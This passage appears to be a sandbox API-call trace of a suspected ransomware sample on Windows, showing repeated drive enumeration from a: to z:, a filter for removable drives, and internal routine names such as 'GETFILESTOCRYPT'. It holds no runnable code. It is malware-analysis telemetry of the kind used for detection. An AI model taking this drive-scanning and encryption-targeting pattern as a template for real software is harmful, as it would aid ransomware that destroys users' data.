[0084.386] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.386] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.386] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.386] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.386] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.386] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.386] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.386] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0084.386] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0084.387] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0084.387] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0084.387] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0084.387] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0084.387] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0084.387] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0084.387] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0084.387] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0084.387] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0084.388] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0084.388] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0084.388] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0084.388] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0084.388] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0084.388] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0084.388] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0084.388] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0084.389] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0084.389] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0084.389] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0084.389] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0084.389] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0084.389] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0084.389] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0084.389] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.390] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.390] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.390] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.390] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.390] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.390] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.390] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.390] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.390] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.390] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.390] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.390] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.390] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.390] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.390] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.390] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.390] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.390] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0084.391] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0084.391] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0084.391] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0084.391] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0084.391] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0084.391] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0084.391] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0084.391] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0084.391] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0084.392] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0084.392] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0084.392] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0084.392] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0084.392] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0084.392] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0084.392] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0084.392] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0084.393] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0084.393] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0084.393] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0084.393] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0084.393] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0084.393] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0084.393] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0084.393] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0084.394] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.394] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.394] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.394] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.394] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.394] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.394] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.394] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.394] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.394] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.394] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.394] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.394] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.394] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.394] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.395] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.395] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0084.395] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0084.395] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0084.395] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0084.395] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0084.396] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0084.396] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0084.397] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0084.397] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0084.397] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0084.397] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0084.397] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0084.397] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0084.397] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0084.397] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0084.398] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0084.398] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0084.398] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0084.398] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0084.398] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0084.398] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0084.398] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0084.398] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0084.399] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0084.399] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0084.399] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0084.399] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.399] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.399] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.399] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.399] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.399] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.399] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.399] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.399] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.400] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.400] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.400] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.400] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.400] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.400] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.400] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.400] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.400] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.400] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0084.400] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0084.400] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0084.400] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0084.400] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0084.400] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0084.401] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0084.401] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0084.401] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0084.401] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0084.401] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0084.401] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0084.401] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0084.401] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0084.402] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0084.402] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0084.402] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0084.402] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0084.402] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0084.402] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0084.402] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0084.402] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0084.403] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0084.403] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0084.403] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0084.403] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0084.403] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.403] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.403] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.403] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.403] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.403] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.403] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.404] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.404] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.404] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.404] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.404] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.404] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.404] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.404] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.404] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.404] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.404] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.404] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0084.404] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0084.404] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0084.404] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0084.404] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0084.405] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0084.405] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0084.405] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0084.405] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0084.405] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0084.405] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0084.405] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0084.405] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0084.406] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0084.406] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0084.406] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0084.406] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0084.406] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0084.406] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0084.406] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0084.406] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0084.406] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0084.407] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0084.407] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0084.407] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0084.407] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0084.407] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.407] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.407] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.407] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.407] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.407] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.408] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.408] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.408] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.408] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.408] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.408] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0084.408] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.408] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.408] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.408] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.408] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.408] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.408] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0084.408] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0084.408] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0084.408] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0084.409] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0084.409] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0084.409] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0084.409] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0084.409] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0084.409] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0084.409] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0084.410] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0084.410] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0084.410] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0084.410] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0084.410] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0084.410] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0084.410] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0084.410] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0084.411] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0084.411] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0084.411] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0084.411] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0084.411] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0084.412] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0084.412] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0084.412] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.412] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.412] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.412] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.412] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0084.412] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.412] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0084.412] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: 